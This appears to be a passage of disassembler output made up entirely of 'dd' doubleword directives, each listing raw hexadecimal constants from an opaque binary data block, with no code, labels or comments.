		dd 0DED6930Ch, 2651433Fh, 2BB2007h, 8782962Dh, 80E74FBh
		dd 5617DA6Fh, 0EB5AD2A9h, 78E69474h, 0DCF40717h, 0F94B2EEFh
		dd 27C6D26Ch, 85481DC2h, 0CD150155h, 10D40946h,	0BF00208Fh
		dd 36F96144h, 69134F05h, 4FB8514Bh, 0AD310741h,	2C78AF3Bh
		dd 0D9725E9h, 8DE7E398h, 318E0F80h, 0DC9527Ch, 88BE4C55h
		dd 0F756E22Dh, 1127D6BCh, 93EA4558h, 7AEDB129h,	5CE01EADh
		dd 0E4A1BE9h, 638400E9h, 0B451D86Ah, 0D4D4F241h, 0BC3FE15Ah
		dd 2F3BA140h, 80C2512Ch, 941E0CDh, 9CCCFC01h, 55935F82h
		dd 72ABBBD1h, 9E7639E5h, 0A3D33458h, 34414CF1h,	0AC6F2E9Bh
		dd 7635827Ch, 4961F723h, 24456B02h, 1320859Eh, 4C882E9Fh
		dd 3B139A53h, 1321F82Dh, 0B79004E1h, 0B799CEE9h, 695F10BAh
		dd 0D1F6D27Bh, 0DD20ADD0h, 0C58065B5h, 0C1BF4C4Ah, 2BB60429h
		dd 3C204629h, 0F7880240h, 3E7C05Ah, 422682D4h, 2991990Bh
		dd 58ADDEB5h, 93AB760Eh, 0F671AAB4h, 0EFD5F987h, 528298BAh
		dd 8F7664BAh, 0D1B9E2F5h, 0F9D06B05h, 5D256819h, 0DBBD6B61h
		dd 0B9752412h, 1E8A9EF3h, 0CAC2FB4Bh, 0A271755Eh, 698617BDh
		dd 5A1AA9D0h, 0F82976FAh, 434813EBh, 0C17DE036h, 9CF908A2h
		dd 63AD5F96h, 7C29678Bh, 6434D9D7h, 299FC23h, 0A5C14DB8h
		dd 276FD685h, 0A5364C7Fh, 2F688773h, 4E7F0B45h,	27D927B0h
		dd 584EC3E6h, 0A8CD1EAh, 0D9DDC6FEh, 0DA89890Bh, 4A183345h
		dd 7E7249FEh, 0B8503569h, 0D0BB0219h, 0C4F61AE9h, 5DF1F61Fh
		dd 0FA14FDDCh, 0BDF608Dh, 6E081B7Dh, 2C9C0455h,	531CB806h
		dd 394662A0h, 0F5444225h, 732C4A95h, 0BF000310h, 721B1D05h
		dd 0B290DFF7h, 340BB50Dh, 0AC6C680Ch, 0B84C6816h, 3F56CF35h
		dd 1BAE127Ah, 98D1708h,	94FDF901h, 0C0C5B528h, 0D9818E96h
		dd 643F515Bh, 1645B930h, 0BBA03FE9h, 0FF54C28h,	0B32FF42Fh
		dd 1C5B21C6h, 7027052Dh, 0AA73D76Fh, 8738C579h,	0D16D8D84h
		dd 647B89ACh, 8CEE4501h, 8D47BE30h, 3E7662CDh, 8A0C4BC1h
		dd 5D2609D3h, 9C10D9B7h, 0BA4CD2E9h, 0DA290860h, 2DB3A45Bh
		dd 0E959860Dh, 1709292Ch, 14B0E8AAh, 0A683B46h,	5002E603h
		dd 0FCB0CFEh, 2E51CEF1h, 228324C8h, 8A2E778Fh, 741661E7h
		dd 0B0895EF2h, 6E2A7A82h, 53A2307Dh, 0B0DF9542h, 9D5EF31Eh
		dd 5F49E679h, 4D93A9C7h, 0F2F98553h, 37CD8919h,	2A18FD59h
		dd 0E24C79F6h, 3CCBC6CDh, 4E126472h, 0C009A191h, 0BEBC43DCh
		dd 5B65496Ah, 0A0484982h, 0C310406Ah, 6843097Dh, 0CFE0CDE9h
		dd 0F0FF125h, 694810FBh, 25E8D44Ch, 226F185Dh, 0D1C4BF69h
		dd 0DF2CA42Dh, 11EA5C1Eh, 25357995h, 2F1049F1h,	0FCBA85Bh
		dd 0EB5BD988h, 580EFE31h, 0B2A85C7Dh, 5A135EF1h, 89A2C821h
		dd 0E916B542h, 0EE7EC4E8h, 139E9BE3h, 0B41EB0BDh, 0DCF61400h
		dd 28EDEC80h, 6E5858E6h, 9E717B25h, 845996BCh, 2EA83DEAh
		dd 0E2A233FAh, 78F20F88h, 89D0E934h, 78BDCAABh,	0D0A35F62h
		dd 0DBFA5D05h, 557BD469h, 0F165616h, 54E1F28Fh,	0B00EFC7Bh
		dd 17F0ED81h, 0FDFA8A42h, 7FDC0758h, 5C50749Ch,	0F4325523h
		dd 0E6581767h, 0CF99BEEAh, 0C3F0A27Ah, 82A73E59h, 99D8DF41h
		dd 1DD3C93Fh, 0E1836EC4h, 26F354Dh, 0DAB7C17Ch,	0E16095BBh
		dd 0F6583497h, 0A4CB3448h, 5D92085Fh, 0C4FB6D16h, 0B426E966h
		dd 96B2FCEAh, 1684ACECh, 0E0065666h, 0BD0E1A55h, 7F52AB7Eh
		dd 0EB0E2652h, 560F6461h, 5D688960h, 0E96EE130h, 5435C4B1h
		dd 3DB128F8h, 39350003h, 7B5E2518h, 969F2778h, 0AC404FD8h
		dd 581ED976h, 4EAFF47Bh, 62103D02h, 6C5F5E9h, 0D304A643h
		dd 597FB8Eh, 0E11BE5BAh, 37287F6Bh, 0C5794B8h, 2B2E2C1h
		dd 3027B09Eh, 0B72880DEh, 0EDCF7D4Eh, 0EBD2FE54h, 0BEACC8FEh
		dd 405BD409h, 9FA41h, 0F6814EDEh, 98604C0h, 34A2E96Ch
		dd 52B392Dh, 0C5A729BDh, 6DE9F618h, 52C6859Fh, 6FF768F0h
		dd 7AC90BD7h, 568EE40h,	3E794914h, 4FF200B2h, 0E9700D23h
		dd 0BF16709Ah, 0F53415Ch, 0DDF60706h, 0BB05F5C9h, 0A80682EEh
		dd 858BEF51h, 0C16C9B6Dh, 9A572DE7h, 1042CB4h, 6B25AADAh
		dd 2F7C5883h, 0DE8B1323h, 262DBCF5h, 9D5BF0DFh,	6ED6C9E3h
		dd 83165846h, 180C02C0h
		dd 5BD3EBDBh, 7ADBD910h, 9D019234h, 41A636B8h, 4A866030h
		dd 0F167A840h, 0FB05CB77h, 50A8D390h, 5F267A08h, 712BE033h
		dd 31654813h, 0AD8A2BFh, 0ABEEE951h, 32287FA5h,	2301081h
		dd 377931BEh, 57B24875h, 7A9E01BFh, 96E91994h, 47393E2Fh
		dd 4A34FF3Bh, 662F8CEFh, 7E1276Ah, 2913D310h, 0BE2E3D9h
		dd 8003E1C1h, 988E0CE0h, 98017A82h, 18A227C1h, 66D291EBh
		dd 0E1DDA44Ah, 0C17ED64Ah, 0C159022Eh, 0B50ABC4Ch, 0FA15136Ch
		dd 2CFF4BA8h, 0C85B0FB4h, 0CF687631h, 1716FDFEh, 7D9D8B7Ch
		dd 4B3F8915h, 37392CBAh, 531989BDh, 0AD31167Eh,	53681AECh
		dd 665375C2h, 0F22AE91Eh, 0CFC1801Eh, 57A5A30Bh, 0FAF13811h
		dd 942D0765h, 8E77D42Dh, 4EDF1C25h, 2B5AA2BBh, 13E455D0h
		dd 6B6B342Fh, 0BE0195A9h, 0F58851B5h, 9A2521F8h, 27C87764h
		dd 9DF14CADh, 12E71CC9h, 0BFB679CAh, 0B19CD00h,	0A05F2BF5h
		dd 7A1308FCh, 0B02D7D71h, 314F4Ah, 0B951D022h, 401955CFh
		dd 4B74015Eh, 97D8673Bh, 2A76D982h, 0C9FEB385h,	0F1E809AEh
		dd 0D78ACB02h, 0DF258FF1h, 0FE523B04h, 54A28DA2h, 10F0AB5Eh
		dd 85F5828Bh, 92EE664Ah, 0E6572ACBh, 74D2A2BDh,	2052716Ah
		dd 6419F8D6h, 0E9446A7Bh, 7E310D1h, 30ECB276h, 0A283A2A7h
		dd 2EAD172h, 2108DE0Bh,	0C56B80DDh, 5CEF7A2Bh, 0C93B3078h
		dd 52793704h, 50B8AABAh, 0A3D72913h, 10978E51h,	271F947Ch
		dd 1A258A43h, 406CE227h, 0B3292244h, 389B3F0Fh,	0CBCE1E42h
		dd 68B5E5F2h, 7371C28Dh, 0A8234C36h, 65183727h,	682F976h
		dd 9C45DC92h, 0C2646FDDh, 0D9BE1628h, 0A6D08388h, 4A7FC62Ah
		dd 0FEEF8580h, 50313BCEh, 70E55BF6h, 0A402FE7Dh, 84E9A21Ah
		dd 69C9DC0Dh, 8397C0FFh, 3AC924Ah, 0FEC786D7h, 26A730C0h
		dd 520508F8h, 0EF68A9B2h, 0B3E333AFh, 71F0FA94h, 0DA2828BCh
		dd 42342096h, 88ECB70Fh, 0D9752EF9h, 0C0C64A12h, 3B549A70h
		dd 0EF3E51C6h, 8733A82h, 2F456E9h, 316CB901h, 1214F94h
		dd 1234E82Ah, 92BBCE29h, 0E3485042h, 0A61246DEh, 0AA1F5A03h
		dd 0AC644EC0h, 0F4DFB812h, 0F87C5F8Bh, 3A494F2h, 788A0982h
		dd 35D2BF56h, 0BE010496h, 87BF0F53h, 0B0EDE506h, 0F85831B3h
		dd 55E84FDAh, 75A6E7B1h, 5DAC7BC9h, 0EF05C102h,	505F8748h
		dd 0D7C37515h, 0EB24F4BEh, 0C0408A3h, 6DD47D1Bh, 2D2FDDE3h
		dd 0E92700FAh, 0FC381B5h, 0E2A9581h, 8BE241C1h,	0EA48CFFEh
		dd 0BCDC5CEDh, 0FA693B98h, 0BA595AE9h, 664E824Fh, 0B0C73DCh
		dd 246D1FE5h, 8A0D174h,	9140CD0h, 0B07A6F68h, 2D6EC95Ch
		dd 31FE1852h, 2B70800Bh, 0A540FD4Bh, 3D695988h,	78C87571h
		dd 465AECE9h, 148F14E8h, 0FD0174E0h, 68395250h,	72302E8h
		dd 0E0EAC15Ah, 0BC4A0F14h, 922CE00Bh, 0D2F1E828h, 4A6F6176h
		dd 0D610E2D8h, 0F6BE3C7Fh, 6D312C9Fh, 0F8AFCC45h, 0C878CC99h
		dd 4C4FE913h, 41ABCF56h, 6B3ADD0Eh, 14C8DB22h, 60F31FABh
		dd 5D975044h, 0DCFD6E16h, 68FFFEF5h, 0A2BAA0A3h, 8D2528F6h
		dd 632609D0h, 28F57AF1h, 0E90B085Ch, 0B895878h,	0F46BD1BDh
		dd 0B4B01B82h, 211127Dh, 0F7D2E4DDh, 1FF84A63h,	4B48901Bh
		dd 4F850639h, 0E1846D5h, 20AB0AA4h, 0CB7FE1A9h,	0F61C03A6h
		dd 0E2041F9Bh, 6356EFF2h, 74B8F727h, 68804263h,	492316C6h
		dd 889F224Fh, 40FC9AD5h, 64BC3h, 0E5B80994h, 311F252Ch
		dd 826BD85Dh, 0E4553FE9h, 8F1D0998h, 0C25F92C6h, 3582FF60h
		dd 0C029447Bh, 0C52F6C77h, 0B341D083h, 50C8040Ch, 40EE92E9h
		dd 2145F6DEh, 8FA06E08h, 0D70453B4h, 0D430E905h, 0F9BE9A94h
		dd 14613E7Ah, 85A90DA7h, 0C7C24E07h, 0C25C056Eh, 9257D2ACh
		dd 1404DD38h, 0B6871DADh, 0FE81F641h, 0B8C880C6h, 48E97A53h
		dd 0C3A45610h, 7F09B01Bh, 55346D85h, 4340E1BAh,	1D2C6794h
		dd 10027D6Ah, 365D1Fh, 3BB46162h, 4944C983h, 7EE1C33Fh
		dd 9D6E400h, 0F4D5EF5h,	0E0C89F8Dh, 4770C7E9h, 40E3FE95h
		dd 0B39FF080h, 0BD82164Ah, 0BA415DF7h, 0D8D96E5Bh, 0D9FC9F31h
		dd 5ADB211h, 4761BE68h,	0F3AB8051h, 0BA057BECh,	8B3E906h
		dd 0C9E51BCh, 0BB359ECBh, 3BBDE50Dh, 322C8AD1h,	0E58BAE4Eh
		dd 0C2F39F16h, 50DDF53Dh, 3A584869h, 0AC916735h, 2ECE1BCAh
		dd 0CD66C3A3h, 68AE6AC0h, 34495A55h, 0F82DC344h, 362D2B04h
		dd 0F8C10F1Ah, 0B87D3B47h, 0A21EC000h, 0C1D5F746h, 0B403ED28h
		dd 805A950Ah, 819FA830h, 0A2718A00h, 5EB8E913h,	8435746Eh
		dd 930A92Bh, 3235CCEh, 7D7B1Fh,	0CF60F117h, 0C809B44Dh
		dd 6B55592Eh, 2AFB7F28h, 0CD26178Ah, 66D01E43h,	2CB3089Ch
		dd 986D92Fh, 0FE85FC82h, 0AE2CEF89h, 0BE475F21h, 65C1E834h
		dd 404A492h, 0E2D403A8h, 0CBAF4F02h, 30BAD266h,	60CF6809h
		dd 0BB1EFFC4h, 0F0D204E2h, 0FE090A7Bh, 7DD3F732h, 47C80290h
		dd 16D238ECh, 2CABD1EFh, 47DA3189h, 670DB285h, 195A9E4h
		dd 626393E9h, 12105D79h, 0F9E05F16h, 0F8A4C0Ch,	0A843F026h
		dd 49A12FD8h, 0C6F4944h, 0C8BE935Ch, 965DE9CBh,	0DA01146Ch
		dd 0EA0F10C9h, 0A138B45Bh, 70349196h, 0DAC37D94h, 83E38AF5h
		dd 0F1EE018Eh, 0F33FB3BDh, 0B06885B1h, 0E0958DAEh, 1BC42F1Bh
		dd 0A7B341F8h, 5FA5E909h, 93CB752Bh, 3CF586D1h,	3B0B9E4Bh
		dd 2F06F25Eh, 0BD2F13FBh, 7C8307C0h, 171206BEh,	5CAE9228h
		dd 7645C292h, 50402A5Fh, 333068A6h, 21623466h, 0E72F7CE1h
		dd 9311BF5h, 77A15740h,	0A1574BC5h, 9C06A451h, 0E449330Bh
		dd 0AEDAF1F9h, 47686789h, 98646FBh, 6DE1154Ah, 618FE0D5h
		dd 33909D76h, 0F99517E4h, 26DB6941h, 1A18792Fh,	60A94CE9h
		dd 797AF954h, 99E941CCh, 86912AEFh, 72C9DEA9h, 0E47EAD61h
		dd 494BE9AAh, 0BA4B0CFCh, 0EFF83169h, 221F1828h, 7B410C07h
		dd 0DFD33A50h, 8829C90h, 14F2A900h, 0B54621h, 38B0C994h
		dd 0C366091h, 7C8E410Eh, 0D0EC4B0h, 0A4358A54h,	0D74C1673h
		dd 917FD5Eh, 0EE081B10h, 9F6805A8h, 83AF3742h, 0E3157A37h
		dd 3A7F62CAh, 40C12D41h, 174E1278h, 1AE9F274h, 0EDF2479h
		dd 0C55D6135h, 67F16860h, 46C04788h, 83CF3009h,	0D9B9B0CAh
		dd 352B08C2h, 50A4E8B6h, 11180EB8h, 0F6FE2EFAh,	0D10527EEh
		dd 0D52795DCh, 3F0E1299h, 1F1EB244h, 3EB8DF84h,	9E752D03h
		dd 0E014D32h, 0D4EB76C1h, 303FE829h, 4B5D2D68h,	51A4200h
		dd 4E997EF2h, 0A0D87C29h, 5A685607h, 2430AAA4h,	7DC120Bh
		dd 97F78120h, 0B1E5572h, 8B024FAEh, 750970AEh, 22205266h
		dd 0ACBE625Eh, 1FE03AEBh, 11EA5802h, 4E8F2D1Eh,	7C957578h
		dd 0F94E3D3Ch, 0C9258E4h, 42AC10E9h, 47898B0h, 38E0FC0h
		dd 0FDB2AB7Dh, 0A8114316h, 58B9B1ABh, 0A2ADE900h, 0C047DC9Dh
		dd 0D18AC688h, 44F28007h, 53C1B450h, 0AC7E58B3h, 76A527F6h
		dd 12DE1C4Ch, 0B7A3BAD3h, 0B8C38001h, 0C15BDC28h, 6A0060E3h
		dd 0CBC68B48h, 411C0D1h, 0B095E4C8h, 0E52C74ABh, 28EBEDE3h
		dd 5B2DE94Fh, 0F3CB6965h, 986B0CDCh, 399F0B2Dh,	74767FA3h
		dd 0A47849h, 535537Ch, 5D0E5C85h, 452D99A1h, 9FB9E807h
		dd 0AC3B4C90h, 0C8C2D016h, 367AB04Ch, 5140E05Eh, 16658CCFh
		dd 0E7D1024Dh, 639D890Fh, 0FC84E054h, 57812696h, 206F5FFBh
		dd 55D001C7h, 0CEFD684Ah, 0B44E3656h, 6A9AFCB9h, 56595413h
		dd 9BB1CDA8h, 2562CC10h, 776F850Ah, 8D09E375h, 84C6FC88h
		dd 0BAFEF4A1h, 74267C91h
		dd 97A2BA05h, 352D7730h, 0CE2DBFDEh, 25DE469Fh,	0E459092Dh
		dd 7E61BA81h, 8AD85F72h, 947A422h, 967A1C1Fh, 417202FDh
		dd 6D10591h, 2C0B9AEDh,	616670B7h, 5258DB7Dh, 0F425FC54h
		dd 15BC5AB1h, 2AFCEB7h,	225857CBh, 0BE37C10Eh, 3E76C96Fh
		dd 0EECBB606h, 1CB73BE0h, 40199B90h, 3BF74BE1h,	0AEA3C8FDh
		dd 0D5313B0Bh, 0B4BA8C5Ah, 10109708h, 464E3921h, 804E1B5h
		dd 5C70AD80h, 0ED3E5BEFh, 297206D4h, 7285841h, 0D4F8DEAFh
		dd 2058ED01h, 920FC1BEh, 61264A23h, 0BC3CE9CAh,	3130706Ah
		dd 290458C2h, 4A6FE9EAh, 8003E2BAh, 463E60BFh, 13B80574h
		dd 9BDD130h, 0B0D575A8h, 80F51D92h, 8A170F4Eh, 0EAB2E516h
		dd 2987F7C4h, 3060F12Fh, 6B051C41h, 8CE90952h, 9080AFD4h
		dd 1E2E1421h, 14CD294Bh, 592E08EDh, 2CA92494h, 0FE6A034Fh
		dd 0FD410134h, 2DEDF408h, 970212B9h, 0E285C7AEh, 8B95590Dh
		dd 5576F589h, 35027DCBh, 4CDF55BFh, 355230FCh, 0C1B3F2D9h
		dd 31959117h, 0EE1F3CA8h, 0ECDEBF59h, 0BA2AB9E4h, 2779D12Ah
		dd 0F7EB7B91h, 0D220ECDCh, 24042BF0h, 978545Bh,	2C0CEA31h
		dd 7F904D08h, 0E0682340h, 818B560h, 0A9D3EC50h,	0F9A90AAh
		dd 0F3E58388h, 7D8BFBEDh, 0EFB3B9CFh, 977FDD8Eh, 50D711E8h
		dd 462035B8h, 0D92D0942h, 0DA0BB7B4h, 4B5247Fh,	0F15A15C1h
		dd 92CDE37Bh, 0E9F061A9h, 7AE12194h, 898514ACh,	37A79CEAh
		dd 60BC4E12h, 705A5B1h,	785134D2h, 475B5E08h, 0C3F1F6D7h
		dd 0FF8559F5h, 0E917769Bh, 50554BDBh, 884D4401h, 6A8DEDD4h
		dd 0F7591002h, 983CC1DBh, 3D6BE00h, 137170Dh, 0ED7A81F0h
		dd 7EBB1079h, 5545304Bh, 71046DBDh, 0DFE97622h,	550534D2h
		dd 8B05D17Eh, 0F2FF5808h, 825F9A6Ah, 0D57E91Fh,	28007EEAh
		dd 413B82B9h, 0E181033Fh, 97F4B6Dh, 68D7A4FDh, 5C019527h
		dd 6A216F13h, 6A6B9657h, 8F1399FCh, 0AB5B84B5h,	0EBF54BF8h
		dd 79C79490h, 1888202Eh, 4CC56817h, 3203B5A3h, 467CA217h
		dd 2201F01Eh, 83E972C2h, 0C437D61Dh, 0EC07050Ch, 74F73492h
		dd 0A9028BDFh, 8C93AAFh, 72120350h, 89E8CC28h, 0C74AAA93h
		dd 5EAD2BCFh, 90094512h, 18250D22h, 68BCA84Bh, 0D946420Ah
		dd 5612695h, 0C20D042Ah, 0C009CD58h, 9CD11823h,	1A52E667h
		dd 9789D59h, 0F5C3305Bh, 97BF17F1h, 6EBD4008h, 5ABF5701h
		dd 0F4D1DACBh, 38D71597h, 6C4745EAh, 0C3A70687h, 0D4BD6B74h
		dd 8C0F8294h, 0C5D5A02Dh, 0BDD25D3h, 0C98F5CF1h, 2B7C28E8h
		dd 9D34CE9Fh, 87C5BF76h, 0D1BB1C52h, 5B655A9h, 0AEC713AEh
		dd 0B52268CCh, 2A1407C9h, 27E98D6Ch, 468D039h, 0A9BD1E1Ch
		dd 0BA0A0071h, 17485144h, 0B25B5C16h, 61BBD2AEh, 4769AF4h
		dd 0C9350C1h, 0D37CEC74h, 0F4B357ACh, 76145A0Bh, 7AF8DAFEh
		dd 0C1F22FEBh, 0FA14210h, 4D831ADh, 0AA162743h,	54789B82h
		dd 9C5D2F93h, 96ED9E88h, 647BC4F3h, 0F8E4BEA4h,	0D84781E7h
		dd 0D597C19Ch, 69347498h, 0CFB050EEh, 623AF995h, 690F34FDh
		dd 8D42DFC3h, 80F9E061h, 0F42D9670h, 9870F330h,	7D020EBh
		dd 0EADAC8h, 0AD68212Dh, 230F0512h, 0EB4AA70Bh,	1456490h
		dd 0CBCED1C8h, 760EB568h, 35950FB8h, 0C3054E4Eh, 0A868F251h
		dd 265F4D5h, 0E9C129B7h, 0C29020DAh, 919F280Eh,	7EFC5BF7h
		dd 0CBEFDF55h, 80524092h, 1135597Eh, 86801D10h,	7F9672E6h
		dd 2668EC7Ch, 606B1513h, 830AE955h, 92BF2EC0h, 0B50DD02Bh
		dd 0D2CBCFAFh, 0C368E060h, 3A607355h, 0C4D8E0h,	0BD7E2563h
		dd 6CB67F6Ah, 8196E976h, 4FA3F127h, 946CB8C4h, 7417EF74h
		dd 4CFFC6AFh, 0C19611BFh, 0D701FA2Ah, 0FEF61CE9h, 68079C6Eh
		dd 9A7F6E2Eh, 0F69D6BCEh, 6468C1F8h, 0F779847Bh, 0FF16FEEDh
		dd 583C4289h, 2612680Ch, 6693829h, 0F65D4046h, 0EB80165Ah
		dd 0D5AFE543h, 0B4513058h, 7E98A370h, 48255B26h, 6937FEA5h
		dd 0B7E05E80h, 5620E988h, 0F6C0CBC6h, 0B2387187h, 0D04A2413h
		dd 68E9C855h, 0E8996055h, 0F867F0C5h, 1AF145Fh,	357271A3h
		dd 61D3756Dh, 0C9F301DFh, 0E55B8152h, 3C692D72h, 4BEB5CEDh
		dd 0FB5512ECh, 0EF457A37h, 0DC0BBCC2h, 6BEA5187h, 21E476A9h
		dd 142DC7B5h, 122521E0h, 6039942Fh, 0BCE941CFh,	0E8E32960h
		dd 14D0F705h, 0AD023B25h, 202D400Eh, 0C1D2800Eh, 4121A38h
		dd 0D305D8FEh, 0CCAB5A4Bh, 865A829Bh, 4B573A9h,	9B97C5Ah
		dd 0DF9580D1h, 0EA075529h, 1D3D02BBh, 17E9487Ah, 0B1F7A057h
		dd 39E18033h, 2B6C019h,	83274F64h, 0D9485FEEh, 1913F5CEh
		dd 4AF5D35h, 91FDAC45h,	3A2DD02Ah, 47D451E5h, 5365270Eh
		dd 83A07966h, 71275DC6h, 8456E276h, 81003986h, 990F17EDh
		dd 722BECF9h, 0C90320BDh, 7F8D1C22h, 6FF9E72Ch,	39D71AA5h
		dd 846AB917h, 71E7AE6Eh, 28106809h, 0EF62F5DEh,	0C1A5A279h
		dd 0A0C64640h, 1D607C8Ch, 0D3685F2Bh, 96D0B218h, 759698AAh
		dd 59FDD5Dh, 0B2BA9355h, 0B3FD5D85h, 133FAC4Ah,	624BE240h
		dd 299C8454h, 21F135D0h, 55617AC1h, 4844D7B6h, 82E5EAB8h
		dd 95A0FEEEh, 0BE5B96AFh, 5A1AC09Dh, 0FFC0D05h,	602621B0h
		dd 3A16CCF5h, 0BE900844h, 250BB537h, 82D705D6h,	0E8F9E912h
		dd 278A0F84h, 74483621h, 9E02B050h, 0D7E9E12Ch,	6E757A3h
		dd 0AA87127h, 69945A8Eh, 2C7799DFh, 6FC21082h, 64772E55h
		dd 12F62FB6h, 1027A445h, 83A8E15Dh, 0FEFA2A13h,	8CB85CD1h
		dd 906E79D0h, 75700777h, 6A294091h, 0A108208Bh,	0BE00EC2Bh
		dd 632F5489h, 8F11F427h, 9AF26C6h, 0BD4ACC94h, 0CF80010Eh
		dd 6E7C0C3h, 954FEFD8h,	0B6B0A3D8h, 0FD14FF2Dh,	7EC73090h
		dd 6B4559BDh, 13588C04h, 321F04BAh, 68500154h, 25B84404h
		dd 0B43E9030h, 0E20E88A6h, 8FC05866h, 0A973C907h, 0FF48FFD0h
		dd 40822106h, 7350580Fh, 0AF19754h, 31B0E961h, 544D3125h
		dd 0D21B30ECh, 60E0FE16h, 36A62D8Eh, 0E65A167Dh, 685103FEh
		dd 3F2C169Bh, 70EDD1F9h, 3FBE062Eh, 0AA597880h,	1E38152h
		dd 5A745BBAh, 33229FE9h, 63327886h, 8256C8E6h, 753C91A0h
		dd 0E1554864h, 512DF0A7h, 7876C4BDh, 2EF1B7B5h,	562F1F62h
		dd 7DF96257h, 4FFF71FDh, 902974A9h, 26EBC048h, 0D0F599Fh
		dd 0F00640D8h, 0BBAF6EAh, 2AC361A2h, 5372BBFCh,	917C468h
		dd 1C470958h, 12DE96D7h, 29B3AFE9h, 0C9A52EDBh,	0E2FC48A7h
		dd 0C6D35307h, 29586F5Fh, 5542D52Dh, 1629D04h, 4735BA68h
		dd 4E05CA30h, 81E4882Fh, 55D4E605h, 0A6EF2396h,	2A8C053Bh
		dd 0C7012134h, 4C6323F1h, 0E614417Eh, 28058953h, 21F30250h
		dd 0FD481F22h, 9A356940h, 7571013Ah, 7C42330Bh,	71B17850h
		dd 96AAB046h, 9C7F2F9Dh, 0F198B5CEh, 0B99488E9h, 0D515F725h
		dd 58CC7C25h, 79AA19F7h, 0F0E354F0h, 43AB5622h,	3551BBC1h
		dd 0EB874546h, 0FE4FABE0h, 0E15F5E49h, 8B070796h, 10D9EA82h
		dd 33B495E8h, 38600E9Ch, 7939FD08h, 0EAF24B52h,	87223F04h
		dd 0FEC7DFFCh, 4E292FE4h, 0F66E3C7Eh, 7A4401FEh, 3E7FBF31h
		dd 748978F4h, 1655958Ch, 2CD62A74h, 797AF88Ah, 7FF89542h
		dd 22A45705h, 9AAC89DCh, 45A6163Ch, 13A20D07h, 58E37F4Ch
		dd 7CE0EB02h, 0C27E6814h, 7BA408A0h, 0FD2D6120h, 0F5F10ADh
		dd 3B89856Bh, 90296D21h, 297D29ADh, 774D8FACh, 955551CCh
		dd 33FA20F7h, 3408F065h, 0F80B2F2Dh, 342D4F99h,	0D0EB717Eh
		dd 7C29029Dh, 360305AFh
		dd 0C1F9C244h, 46B0AF40h, 901239FDh, 140810C8h,	0EF89570Bh
		dd 29D937Fh, 1224D790h,	0F1434841h, 9553BF2h, 43BC55B5h
		dd 0F82D04Ah, 2AA0D55Ah, 30E72C1Ch, 845C6082h, 82DD9520h
		dd 0FF28DB40h, 99E5AAEh, 9055B2F7h, 0F805EF09h,	0C01490DAh
		dd 36CABFA4h, 81027C1Dh, 590932E7h, 0ED4D634Ah,	2438E541h
		dd 94E826EEh, 0BF88DA4Eh, 49DF0FE2h, 0BCB8D9Ch,	0D7F62967h
		dd 21864C2Fh, 0B7981848h, 7AC9D848h, 0B53CB420h, 6CBDC552h
		dd 28E925ADh, 95B84000h, 79126525h, 9F10C521h, 14DE02C4h
		dd 0D5890CF3h, 79C91382h, 855045FDh, 0B087FA29h, 0CF69664Bh
		dd 2AA15287h, 62BDC6F1h, 1C6322D6h, 6DD325DDh, 816ACBC9h
		dd 73B8FB3h, 0DCAD53D4h, 3B010A15h, 6213573Fh, 97DAE405h
		dd 29EF794Ah, 0C4B2F7AFh, 5FA0747Ah, 0FD82C8A3h, 54128581h
		dd 0C0803AC0h, 0F097FDDAh, 487F9829h, 1E2E1801h, 0DBB812Dh
		dd 806D8815h, 0D363725Eh, 96DF899Fh, 41E98667h,	1242CE7h
		dd 3F07B0D8h, 705168ABh, 0BF230C2Bh, 0E952B113h, 1762D790h
		dd 0A98ECB57h, 0A82F149h, 31C4880Fh, 443C59DDh,	0A17BBC1h
		dd 3FDAFEh, 0D38887B2h,	4FEBC05Ah, 5710C705h, 85CB54C8h
		dd 0AA63C4CEh, 33FC6F94h, 2CE999E4h, 54E64AA0h,	80FEB780h
		dd 0F1A16AC7h, 4D163AEFh, 0E90BA99Bh, 6B3253E3h, 36EB98D7h
		dd 0C196B716h, 0E0089690h, 397033h, 7A4679F3h, 1CD0DD29h
		dd 7BBC6108h, 0E2400428h, 250B65C1h, 0A6F8CC6Ch, 36D22B5h
		dd 0DF4CD5DEh, 5C2BD12Dh, 6E7F6939h, 3DC50BD9h,	0BA7F0951h
		dd 0E90C029Bh, 3B0BDF78h, 0B32294D7h, 0A6F32C0Ah, 0DF1339EEh
		dd 0C56EF828h, 0F2D217C9h, 287851C8h, 2AEE0F46h, 0BF7347A5h
		dd 18B6B480h, 0ABF63D80h, 17085B25h, 8C0F02F3h,	0ADE92E5Dh
		dd 0CA432B18h, 0BB0EEAC9h, 0E5C0B74Ah, 9556C72Dh, 7EE76250h
		dd 0CE86CABCh, 882C1071h, 0C412ADF9h, 8A8DF6ABh, 0CD013146h
		dd 8961334h, 0C4928F30h, 16B0D583h, 7AEC89EBh, 0F00761ECh
		dd 54DEF3A8h, 0B7D8F0A7h, 0B050AE00h, 2C9134DDh, 5ED7FC71h
		dd 0C489E24Ch, 0F2BA6FD3h, 5F41CB2Dh, 0EE04E96Eh, 28205B14h
		dd 0CA87680h, 12F3E2Bh,	34081C68h, 5D14091Ch, 5B3871DFh
		dd 4B65AECCh, 0FB93B5ADh, 5BFB3E88h, 0EA0024B1h, 2A496E8h
		dd 32D04E93h, 26E92398h, 0CC427F5Bh, 60166E66h,	549B82F4h
		dd 69E4B598h, 0A9FF0B87h, 9896F51Dh, 29C70D4Eh,	5B66DA00h
		dd 6BF49528h, 5E685A50h, 0E7EB4D84h, 415DC5C4h,	7DEE3565h
		dd 29200125h, 22B906BCh, 0D9310B8Ah, 94460815h,	0DD95CD28h
		dd 0A47D1209h, 5C84DE48h, 1FBDE3BAh, 984E6404h,	9BEF170Eh
		dd 26F24F54h, 0D78AAB4Ah, 2FDE680Bh, 11D56130h,	0C12F024h
		dd 86138302h, 0D8D8E27Ah, 6EE00007h, 0F28108D4h, 486230A9h
		dd 777574FAh, 5C02AA73h, 0A46A7668h, 40EA588Eh,	372ECACFh
		dd 0F3B81D7Fh, 0FD66C025h, 0CB90401Eh, 0F65BB725h, 1FB66230h
		dd 4CFE6F7h, 20B55886h,	23AE8145h, 0E938C013h, 32C2CA25h
		dd 11C3D707h, 2F966FE9h, 24827227h, 9361D670h, 5A77AC42h
		dd 1CBE61BBh, 5D5C02D9h, 0E9416B7Bh, 0EC2B38BEh, 26D4F041h
		dd 304D7C6Ch, 0E90DD0EFh, 91CEA348h, 432FE6EBh,	0E5594F30h
		dd 0F5AD3E98h, 1A6C06C1h, 2205DF74h, 7FB10DDEh,	53610CF1h
		dd 0F0AF0914h, 57256826h, 4A426616h, 5ED881D8h,	97D260F7h
		dd 0ED7C8013h, 0E36D09h, 70516838h, 59723155h, 0E826F6BEh
